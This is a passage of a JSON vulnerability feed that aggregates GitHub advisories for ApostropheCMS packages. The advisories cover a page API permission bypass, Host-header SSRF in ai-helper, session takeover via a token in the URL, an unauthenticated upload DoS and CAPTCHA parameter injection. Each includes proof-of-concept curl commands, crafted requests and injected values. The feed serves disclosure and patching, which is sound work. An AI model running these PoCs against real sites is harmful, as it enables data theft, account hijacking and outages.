non-public page content by `_id`/slug.\n\n**Details**\n`packages/apostrophe/modules/@apostrophecms/page/index.js`:\n- `getOne` (L456–465): `await self.publicApiCheckAsync(req); ... self.getRestQuery(req).permission(false).and(criteria)` — no `viewRole` threshold, no `visibility` filtering.\n- `all` handler (L318–395): `getRestQuery(req).permission(false)` (L384–385) walks every page type and returns the projection including `visibility`.\n- `publicApiCheckAsync` (L3044) only checks that `publicApiProjection` exists — it performs no authorization.\n- Correct control behaves differently: `piece-type/index.js:getOne` (L319–327) uses `getRestQuery(req)` without `.permission(false)` and enforces `viewRole`.","detail":"**Summary**\nThe core page REST API reads full page documents with `.permission(false)` in `getOne` and in the `all=1` tree dump, bypassing page-type `viewRole`, `visibility: private`, and `visibility: loginRequired` checks. Unauthenticated visitors and low-privilege contributors can read admin-only and non-public page content by `_id`/slug.\n\n**Details**\n`packages/apostrophe/modules/@apostrophecms/page/index.js`:\n- `getOne` (L456–465): `await self.publicApiCheckAsync(req); ... self.getRestQuery(req).permission(false).and(criteria)` — no `viewRole` threshold, no `visibility` filtering.\n- `all` handler (L318–395): `getRestQuery(req).permission(false)` (L384–385) walks every page type and returns the projection including `visibility`.\n- `publicApiCheckAsync` (L3044) only checks that `publicApiProjection` exists — it performs no authorization.\n- Correct control behaves differently: `piece-type/index.js:getOne` (L319–327) uses `getRestQuery(req)` without `.permission(false)` and enforces `viewRole`.\n\n**PoC**\n```\n# Anonymous (no session) — private, admin-only page:\ncurl \"http://localhost:3100/api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published\"\n# → 200 {\"_id\":\"...:en:published\",\"title\":\"Secret Private Page\",\"slug\":\"/secret-page\",\n# \"type\":\"private-type\",\"visibility\":\"private\",\"secretData\":\"TOP-SECRET-VALUE-abc123\"}\n\n# Anonymous full site-map dump (includes private + loginRequired pages):\ncurl \"http://localhost:3100/api/v1/@apostrophecms/page?all=1\" # → 200, full tree\n\n# Contributor (cont_admin) reads full admin-only doc incl. protected field:\ncurl -b contrib.cookies \".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published\"\n# → 200 secretData = TOP-SECRET-VALUE-abc123\n# Controls (correctly enforced):\ncurl -b contrib.cookies \".../api/v1/@apostrophecms/page?type=private-type&autocomplete=zz\" # → 403\ncurl -b contrib.cookies \".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:draft\" # → 403\n```\n\n**Impact**\nUnauthenticated disclosure of `visibility: private` and `loginRequired` pages (full documents, not just paths) and of the complete site structure with visibility/type metadata; contributors read admin-only page types and their protected fields. Because `_id`s are enumerable and leaked by `all=1`, this is systemic.\n\n**Remediation** — Remove `.permission(false)` from `getOne`/`all` or re-apply the type's `viewRole` threshold plus the same `visibility`/login-required criteria the list and autocomplete paths use (mirror `piece-type`); make `publicApiCheck` config-presence-only and add an explicit authorization step per verb.\n\nAffected package ranges reported by GitHub:\napostrophe: < 4.33.0","action":"GitHub lists first patched versions: apostrophe: 4.33.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T18:13:08.000Z","updatedAt":"2026-10-20T18:13:09.000Z","regions":["Global"],"vendor":null,"product":"apostrophe","stacks":["JavaScript packages (npm)","apostrophe","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","sourceUrl":"https://github.com/advisories/GHSA-2j32-q6rx-h844","asOf":"2026-10-20T18:13:09.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-2j32-q6rx-h844","url":"https://github.com/advisories/GHSA-2j32-q6rx-h844","type":"primary","publishedAt":"2026-10-20T18:13:08.000Z","checkedAt":"2026-10-26T14:55:56.601Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-2j32-q6rx-h844, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-2j32-q6rx-h844, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-2j32-q6rx-h844, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-2j32-q6rx-h844, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-2j32-q6rx-h844, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:55:56.601Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113671","cveId":"CVE-2026-113671","aliases":["GHSA-527g-ff96-x6wj"],"kind":"vulnerability","title":"ApostropheCMS: Host header controls server-side image fetch origin in @apostrophecms/ai-helper, enabling authenticated SSRF","summary":"The `@apostrophecms/ai-helper` package builds the URL for a server-side image fetch by resolving a storage-relative path against `req.baseUrl`. When the site does not set a global base URL (the default), `req.baseUrl` is derived from the incoming HTTP `Host` header. An authenticated editor can generate a base64 AI image (which is persisted without a stored `url`) and then send an unauthorized `PATCH` accept request with an attacker-chosen `Host` header. The server then issues an outbound `GET` to the attacker-selected origin, producing a Server-Side Request Forgery primitive that reaches hosts and ports the client cannot otherwise contact. The affected code lives in `packages/ai-helper/modules/@apostrophecms/ai-helper-image/index.js`.\n\nThe image accept route trusts `req.baseUrl` as a safe origin for constructing an internal fetch target, but `req.baseUrl` is attacker-influenced whenever the site has no configured base URL. The URL builder concatenates a default local storage path (which is relative, for example `/uploads`) and resolves it against `req.baseUrl`; because the left operand is relative, the resulting origin is taken entirely from `req.baseUrl`. Two protections that exist elsewhere are missing on this path: the generate route enforces an edit capability, but the accept route performs no authorization or ownership check, and no allowlist or validation constrains the resolved origin before the fetch.","detail":"## Summary\n\nThe `@apostrophecms/ai-helper` package builds the URL for a server-side image fetch by resolving a storage-relative path against `req.baseUrl`. When the site does not set a global base URL (the default), `req.baseUrl` is derived from the incoming HTTP `Host` header. An authenticated editor can generate a base64 AI image (which is persisted without a stored `url`) and then send an unauthorized `PATCH` accept request with an attacker-chosen `Host` header. The server then issues an outbound `GET` to the attacker-selected origin, producing a Server-Side Request Forgery primitive that reaches hosts and ports the client cannot otherwise contact. The affected code lives in `packages/ai-helper/modules/@apostrophecms/ai-helper-image/index.js`.\n\n## Root Cause\n\nThe image accept route trusts `req.baseUrl` as a safe origin for constructing an internal fetch target, but `req.baseUrl` is attacker-influenced whenever the site has no configured base URL. The URL builder concatenates a default local storage path (which is relative, for example `/uploads`) and resolves it against `req.baseUrl`; because the left operand is relative, the resulting origin is taken entirely from `req.baseUrl`. Two protections that exist elsewhere are missing on this path: the generate route enforces an edit capability, but the accept route performs no authorization or ownership check, and no allowlist or validation constrains the resolved origin before the fetch.\n\n```text\npackages/ai-helper/modules/@apostrophecms/ai-helper-image/index.js\n aiHelperImageUrl (line 91-92): image.url || new URL(self.uploadfs.getUrl() + `/ai-helper-images/${image._id}.png`, req.baseUrl)\n aiHelperFetchImage (line 64-65): fetch(self.aiHelperImageUrl(req, image))\n apiRoutes.patch['ai-helper/:_id'] (line 314-333): findOne({ _id }) only; no permission or ownership check\npackages/apostrophe/modules/@apostrophecms/i18n/index.js\n setPrefixUrls (line 799-820): req.baseUrl falls back to `${req.protocol}://${host}`, host from the Host header when apos.baseUrl is unset\n```\n\n## Impact\n\nAn attacker who holds a low-privileged editor account (the capability required to generate an AI image, which inserts a base64 record without a stored `url` and returns its identifier) can coerce the server into issuing outbound `GET` requests to an origin of their choosing by supplying a crafted `Host` header on the accept request. This yields SSRF: probing internal hosts and ports that are not reachable from the attacker's network position, and limited semi-blind exfiltration where an image-parseable response at the fixed path becomes a viewable attachment. The request path is fixed to `/uploads/ai-helper-images/ .png`, so only the origin (host, port, and `http` scheme) is attacker-controlled; arbitrary-path retrieval such as cloud metadata traversal is not reachable through this primitive. No integrity or availability primitive was demonstrated. Exploitation requires the default deployment where no global base URL is configured and local file storage is in use, together with a configured provider that returns base64 image data.\n\n## Proof of Concept\n\n```text\nPreconditions:\n - ApostropheCMS site with @apostrophecms/ai-helper installed and a configured\n base64-returning image provider.\n - No global base URL configured (apos.baseUrl unset), default local uploadfs.\n - Attacker holds an account with edit capability on at least one content type.\n```\n\n1. Authenticate as the editor and generate a base64 AI image:\n `POST /api/v1/@apostrophecms/image/ai-helper` with body `{\"prompt\":\"x\"}`. The response contains the new record identifier ` `. The persisted record has no `url` field.\n2. Send the accept request with a malicious `Host` header:\n\n```text\nPATCH /api/v1/@apostrophecms/image/ai-helper/ HTTP/1.1\nHost: 169.254.169.254\nContent-Type: application/json\n\n{\"accepted\": true}\n```\n\n3. The server derives `req.baseUrl` as `http://169.254.169.254`, builds the fetch target `http://169.254.169.254/uploads/ai-helper-images/ .png`, and issues the outbound request.\n\n```text\nDerivation confirmed against source logic:\n base64 record (no url) + Host: 169.254.169.254\n -> new URL(\"/uploads/ai-helper-images/ .png\", \"http://169.254.169.254\")\n -> server fetches: http://169.254.169.254/uploads/ai-helper-images/ .png\n control (apos.baseUrl set to https://cms.example.com):\n -> fetch target uses https://cms.example.com (Host ignored)\n control (record stores its own url):\n -> aiHelperImageUrl short-circuits to the stored url (no SSRF)\n```\n\n## Attack Chain\n\n1. **Exposure:** The `@apostrophecms/ai-helper-image` module registers `POST` and `PATCH` routes under `/api/v1/@apostrophecms/image/ai-helper`, reachable by any authenticated session on a site that installed the package.\n2. **Control:** The attacker controls the HTTP `Host` header on the `PATCH` request; the global `locale` middleware copies it into `req.baseUrl` because `apos.baseUrl` is unset (`packages/apostrophe/modules/@apostrophecms/i18n/index.js:805,816-819`).\n3. **Path:** The attacker first generates a base64 image via `POST`, which inserts a record without a `url` (`ai-helper-image/index.js:282-284`); the returned identifier is then used in the `PATCH` accept request, which calls `aiHelperFetchImage` (`:332`).\n4. **Guard:** The `PATCH` handler checks only `req.body.accepted` and record existence via `findOne({ _id })` (`:318,:322`); it performs no capability check and no owner scoping, unlike the `POST` route which calls `checkPermissions` (`:176`). No validation constrains the resolved origin before the fetch.\n5. **Primitive:** `aiHelperImageUrl` resolves the relative storage path against the Host-derived `req.baseUrl` and `aiHelperFetchImage` calls `fetch` on the result (`:91-92,:64-65`).\n6. **Result:** The server performs an outbound `GET` to the attacker-chosen origin at a fixed path, granting internal host and port reachability and limited semi-blind response retrieval that the attacker's network position does not otherwise permit.\n\n#\n\nAffected package ranges reported by GitHub:\n@apostrophecms/ai-helper: >= 1.0.0-beta.10, < 1.0.0-beta.13","action":"GitHub lists first patched versions: @apostrophecms/ai-helper: 1.0.0-beta.13. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T18:11:01.000Z","updatedAt":"2026-10-20T18:11:01.000Z","regions":["Global"],"vendor":null,"product":"@apostrophecms/ai-helper","stacks":["JavaScript packages (npm)","@apostrophecms/ai-helper","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":4.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","sourceUrl":"https://github.com/advisories/GHSA-527g-ff96-x6wj","asOf":"2026-10-20T18:11:01.000Z"},"epss":{"probability":0.00329,"percentile":0.25777,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113671&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-527g-ff96-x6wj","url":"https://github.com/advisories/GHSA-527g-ff96-x6wj","type":"primary","publishedAt":"2026-10-20T18:11:01.000Z","checkedAt":"2026-10-26T14:55:56.601Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-527g-ff96-x6wj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-527g-ff96-x6wj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-527g-ff96-x6wj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-527g-ff96-x6wj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-527g-ff96-x6wj, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113671&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113671, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113669","cveId":"CVE-2026-113669","aliases":["GHSA-hhvr-8m24-qqr3"],"kind":"vulnerability","title":"ApostropheCMS: Cross-domain session token in URL confers session takeover","summary":"**Summary**\nApostrophe's cross-domain session migration emits a single-use session token as a URL query parameter and stores it in the Mongo cache. Any client that presents the token silently adopts the target user's full session (including `passport.user`) with no credentials.\n\n**Details**\n`packages/apostrophe/modules/@apostrophecms/i18n/index.js`:\n- Token generation on cross-host/locale flows (L479–487) and passport-bridge cross-locale redirect (`passport-bridge/index.js` L557–593) places the token in the URL.\n- `acceptCrossDomainSessionToken` (L258–298) reads `?aposCrossDomainSessionToken`, `Object.assign`s the stored session (cookie + `passport.user`) onto `req.session`, then nulls the cache entry under namespace `@apostrophecms/i18n:cross-domain-sessions`.\n- Middleware without `before:` is registered for every URL (express `findModuleMiddlewareAndRoutes` L820–879); verified with `APOS_LOG_ALL_ROUTES=1`.","detail":"**Summary**\nApostrophe's cross-domain session migration emits a single-use session token as a URL query parameter and stores it in the Mongo cache. Any client that presents the token silently adopts the target user's full session (including `passport.user`) with no credentials.\n\n**Details**\n`packages/apostrophe/modules/@apostrophecms/i18n/index.js`:\n- Token generation on cross-host/locale flows (L479–487) and passport-bridge cross-locale redirect (`passport-bridge/index.js` L557–593) places the token in the URL.\n- `acceptCrossDomainSessionToken` (L258–298) reads `?aposCrossDomainSessionToken`, `Object.assign`s the stored session (cookie + `passport.user`) onto `req.session`, then nulls the cache entry under namespace `@apostrophecms/i18n:cross-domain-sessions`.\n- Middleware without `before:` is registered for every URL (express `findModuleMiddlewareAndRoutes` L820–879); verified with `APOS_LOG_ALL_ROUTES=1`.\n\n**PoC**\n```\n# 0) Anonymous baseline: admin-only draft → 403\n# 1) Admin logs in legitimately (token minted into redirect URL):\ncurl -c admin.cookies -X POST -H \"Content-Type: application/json\" \\\n --data '{\"username\":\"admin\",\"password\":\"adminpassword\",\"session\":true}' \\\n http://localhost:3100/api/v1/@apostrophecms/login/login\n# 2) Attacker with NO credentials visits the leaked token URL:\ncurl -c atk.cookies \"http://localhost:3100/?aposCrossDomainSessionToken=HUNTING_TOKEN\"\n# → 302 Location: / ; attacker now holds a vulnlab.sid SID cookie\n# 3) Attacker reads admin-only content via adopted session:\ncurl -b atk.cookies \".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:draft\"\n# → 200 adopted-session read -> Secret Private Page | secretData = TOP-SECRET-VALUE-abc123\n# 4) Cache entry consumed (single-use): {\"value\":null}\n```\n\n**Impact**\nSession hijack / account takeover of the migrated user for anyone who obtains the token, inheriting all the account's privileges. Exposure is realistic precisely because the token is in URLs: server/proxy/browser-access logs, browser history, and the Referer header when the destination host differs from the source (the intended use case). Single-use limits but does not remove the window.\n\n**Remediation** — Deliver the token via a short-lived HttpOnly signed SameSite cookie rather than a query parameter; bind consumption to the exact source/destination host pair, expire in seconds, and never log it.\n\nAffected package ranges reported by GitHub:\napostrophe: < 4.33.0\n@apostrophecms/passport-bridge: < 1.6.1","action":"GitHub lists first patched versions: apostrophe: 4.33.0; @apostrophecms/passport-bridge: 1.6.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T18:09:01.000Z","updatedAt":"2026-10-20T18:09:02.000Z","regions":["Global"],"vendor":null,"product":"apostrophe, @apostrophecms/passport-bridge","stacks":["JavaScript packages (npm)","apostrophe","@apostrophecms/passport-bridge","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-hhvr-8m24-qqr3","asOf":"2026-10-20T18:09:02.000Z"},"epss":{"probability":0.00416,"percentile":0.35647,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113669&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-hhvr-8m24-qqr3","url":"https://github.com/advisories/GHSA-hhvr-8m24-qqr3","type":"primary","publishedAt":"2026-10-20T18:09:01.000Z","checkedAt":"2026-10-26T14:40:55.975Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-hhvr-8m24-qqr3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-hhvr-8m24-qqr3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-hhvr-8m24-qqr3, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113669&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113669, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113656","cveId":"CVE-2026-113656","aliases":["GHSA-89mh-mm8c-mv7f"],"kind":"vulnerability","title":"ApostropheCMS: Unauthenticated unbounded multipart upload → disk-exhaustion DoS","summary":"**Summary**\nThe form submission endpoint runs `multer({ dest: os.tmpdir() }).any()` before authentication, API-key, CSRF-equivalent, or form-existence logic, with no size/count/rate limits. Unauthenticated users can stream unbounded bodies to disk per request; cleanup occurs only after the full body is received.\n\n**Details**\n`packages/form/index.js` `apiRoutes.post.submit` (L274–296): `[ multer({ dest: os.tmpdir() }).any(), self.normalizeFiles, async function (req) { try { submitForm } finally { unlink files } } ]`. No `limits`, no rate limiting, no pre-validation. \"CSRF\" is a fixed-value double-submit cookie (`vulnlab.csrf=csrf`, set on any GET, express/index.js L694–703) — trivially obtainable anonymously.","detail":"**Summary**\nThe form submission endpoint runs `multer({ dest: os.tmpdir() }).any()` before authentication, API-key, CSRF-equivalent, or form-existence logic, with no size/count/rate limits. Unauthenticated users can stream unbounded bodies to disk per request; cleanup occurs only after the full body is received.\n\n**Details**\n`packages/form/index.js` `apiRoutes.post.submit` (L274–296): `[ multer({ dest: os.tmpdir() }).any(), self.normalizeFiles, async function (req) { try { submitForm } finally { unlink files } } ]`. No `limits`, no rate limiting, no pre-validation. \"CSRF\" is a fixed-value double-submit cookie (`vulnlab.csrf=csrf`, set on any GET, express/index.js L694–703) — trivially obtainable anonymously.\n\n**PoC**\n```\n$ curl -s -c csrfjar.cookies http://localhost:3100/ # get vulnlab.csrf=csrf (any GET)\n$ df -P /tmp # before: used=1105212\n$ curl -b csrfjar.cookies -X POST http://localhost:3100/api/v1/@apostrophecms/form/submit \\\n -F \"file=@/tmp/opencode/big.bin;type=application/octet-stream\" &\n DURING transfer: used=1148668\n still transferring: used=1226936 # +121MB mid-transfer on disk\n http=500 time=1.78s sent=209715411B # generic error AFTER full staging\n# Anonymous, zero credentials. 200MB written to /tmp pre-validation.\n```\n\n**Impact**\nAny unauthenticated client can force the server to persist entire request bodies to the temp filesystem and CPU-decode them; parallel requests exhaust disk `/tmp` (process/host crash) and saturate the event loop — a trivial remote DoS. Aborted transfers risk orphaning staged files (no `req.aborted` cleanup).\n\n**Remediation** — Set multer `limits` (fileSize, fields, parts, fieldSize); perform auth/role/existence checks before the multer mount or inside the checked handler; unlink staged files on first read and on `req.aborted`/error; add per-IP rate limiting.\n\nAffected package ranges reported by GitHub:\n@apostrophecms/form: < 1.5.5","action":"GitHub lists first patched versions: @apostrophecms/form: 1.5.5. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T18:08:31.000Z","updatedAt":"2026-10-20T18:08:32.000Z","regions":["Global"],"vendor":null,"product":"@apostrophecms/form","stacks":["JavaScript packages (npm)","@apostrophecms/form","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","sourceUrl":"https://github.com/advisories/GHSA-89mh-mm8c-mv7f","asOf":"2026-10-20T18:08:32.000Z"},"epss":{"probability":0.00462,"percentile":0.39785,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113656&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-89mh-mm8c-mv7f","url":"https://github.com/advisories/GHSA-89mh-mm8c-mv7f","type":"primary","publishedAt":"2026-10-20T18:08:31.000Z","checkedAt":"2026-10-26T14:40:55.975Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-89mh-mm8c-mv7f, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-89mh-mm8c-mv7f, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-89mh-mm8c-mv7f, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113656&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113656, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113667","cveId":"CVE-2026-113667","aliases":["GHSA-44qr-rrjg-2cqq"],"kind":"vulnerability","title":"ApostropheCMS: CAPTCHA response token not URL-encoded","summary":"**Summary**\nForm and login CAPTCHA verification interpolate the user-supplied widget token unencoded into the server-side verification URL/body, allowing a crafted token to inject query parameters into the reCAPTCHA/hCaptcha verify request.\n\n**Details**\n- `packages/form/lib/recaptcha.js:39` — `recaptchaUri = 'https://www.google.com/recaptcha/api/siteverify?secret=${recaptchaSecret}&response=${input.recaptcha}'`\n- `packages/login-recaptcha/index.js:44` — same pattern for login\n- `packages/login-hcaptcha/index.js:47` — `body: 'response=${token}&secret=${secret}'`","detail":"**Summary**\nForm and login CAPTCHA verification interpolate the user-supplied widget token unencoded into the server-side verification URL/body, allowing a crafted token to inject query parameters into the reCAPTCHA/hCaptcha verify request.\n\n**Details**\n- `packages/form/lib/recaptcha.js:39` — `recaptchaUri = 'https://www.google.com/recaptcha/api/siteverify?secret=${recaptchaSecret}&response=${input.recaptcha}'`\n- `packages/login-recaptcha/index.js:44` — same pattern for login\n- `packages/login-hcaptcha/index.js:47` — `body: 'response=${token}&secret=${secret}'`\n\n**PoC**\n```\ninput.recaptcha = 'attacker_token&secret=INJECTED_SECRET&something=1'\n→ resulting verify URL:\n https://www.google.com/recaptcha/api/siteverify?secret= &response=attacker_token&secret=INJECTED_SECRET&something=1\n# (replicated exactly from recaptcha.js:39)\n```\n\n**Impact**\nLow: a crafted token smuggles extra `key=value` pairs (`secret`, extra `response`) into the outbound verify call, forcing verification failures (DoS of the captcha gate and of captcha-gated login/form flows) and enabling automated bypass probing; no secret exfiltration.\n\n**Remediation** — Build the verify request with `URL` + `searchParams` (or `encodeURIComponent` on both `secret` and `response`), and validate the token against `^[A-Za-z0-9._-]{1,2048}$` before use.\n\nAffected package ranges reported by GitHub:\n@apostrophecms/form: < 1.5.5\n@apostrophecms/login-recaptcha: < 1.2.1\n@apostrophecms/login-hcaptcha: < 1.3.0","action":"GitHub lists first patched versions: @apostrophecms/form: 1.5.5; @apostrophecms/login-recaptcha: 1.2.1; @apostrophecms/login-hcaptcha: 1.3.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T18:05:35.000Z","updatedAt":"2026-10-20T18:05:36.000Z","regions":["Global"],"vendor":null,"product":"@apostrophecms/form, @apostrophecms/login-recaptcha, @apostrophecms/login-hcaptcha","stacks":["JavaScript packages 